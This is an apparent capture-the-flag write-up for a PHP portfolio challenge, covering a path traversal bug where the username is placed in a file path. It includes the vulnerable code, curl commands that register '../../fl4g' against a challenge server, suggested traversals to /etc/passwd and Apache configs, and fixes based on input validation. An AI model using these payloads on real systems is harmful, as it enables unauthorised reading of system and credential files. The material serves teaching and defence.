Portfolio (Red Portfolio)
Portfolio (Red Portfolio)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Arbitrary file read through profile mechanism, Path Traversal via username parameter
Summary
Walkthrough of the CUSTOM Web Portfolio (Red Portfolio). Task: PHP portfolio application with user profiles stored as files. Solution: Path traversal via username parameter (../../fl4g) to read flag file outside web root.
Description
Создай профиль с навыками и опытом, чтобы устроиться на работу мечты… или хотя бы впечатлить HR.
PHP application for creating portfolios. Users can register and view their profiles.
Analysis
Application Structure
From the Dockerfile, the file layout is visible:
- Web root:
/var/www/html/ - Profiles:
/var/www/html/files/{username}.txt - Flag:
/var/www/fl4g.txt
Vulnerable Code
auth.php (registration):
php read-only • copy allowed$username = trim($_POST["username"] ?? ""); // ... @mkdir(__DIR__ . "/files/", 0777, true); file_put_contents(__DIR__ . "/files/" . $username . ".txt", json_encode($profile, ...)); $_SESSION["user"] = $username;
index.php (profile reading):
php read-only • copy allowed$currentUser = $_SESSION["user"] ?? null; $userFile = $currentUser ? __DIR__ . "/files/" . $currentUser . ".txt" : null; if ($userFile && is_readable($userFile)) { $content = file_get_contents($userFile); }
Vulnerability
Username is directly used in the file path without any sanitization. The ../ sequences are not filtered.
Path Calculation
Web root: /var/www/html/
Files dir: /var/www/html/files/
Flag: /var/www/fl4g.txt
Username: ../../fl4g
Result path: /var/www/html/files/../../fl4g.txt
Normalized: /var/www/fl4g.txt ✓
Flag Display
When the file content is not valid JSON, it is output as-is in a <pre> tag:
php read-only • copy allowed<?php $json = parseJsonIfValid($content); if ($json !== false): ?> <!-- JSON profile display --> <?php else: ?> <pre class="r"><?php echo htmlspecialchars($content); ?></pre> <?php endif; ?>
Solution
Exploitation via curl
bash read-only • copy allowed# 1. Register with path traversal username curl -s -c /tmp/cookies.txt -X POST "http://62.173.140.174:16097/auth.php" \ -d "action=register&username=../../fl4g&password=test123&area=test&skills=test&certs=test&about=test" # 2. Login and get the flag curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt -X POST "http://62.173.140.174:16097/auth.php" \ -d "action=login&username=../../fl4g&password=test123" -L
Exploitation via Browser
- Open the registration form
- Enter in the username field:
../../fl4g - Fill other fields with arbitrary data
- Click "Spawn"
- After registration, the flag will be displayed in the Profile section
Result
After login, the application tries to read /var/www/html/files/../../fl4g.txt, which normalizes to /var/www/fl4g.txt. The flag content is not JSON, so it is output as raw text.
Defense
php read-only • copy allowed// Proper username validation $username = trim($_POST["username"] ?? ""); // Option 1: Character whitelist if (!preg_match('/^[a-zA-Z0-9_-]+$/', $username)) { die("Invalid username"); } // Option 2: Remove dangerous sequences $username = str_replace(['..', '/', '\\'], '', $username); // Option 3: basename() to extract only the filename $safeFilename = basename($username) . ".txt";
Additional Vectors
With path traversal available, you can also try:
/etc/passwd—../../../etc/passwd- Application source code —
../index.php(without .txt) - Apache configs —
../../../etc/apache2/apache2.conf
Key Takeaways / Lessons
- Mastering Arbitrary file read through profile mechanism, Path Traversal via username parameter was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2025-12-19 • CUSTOM • Portfolio (Red Portfolio) • Difficulty: Easy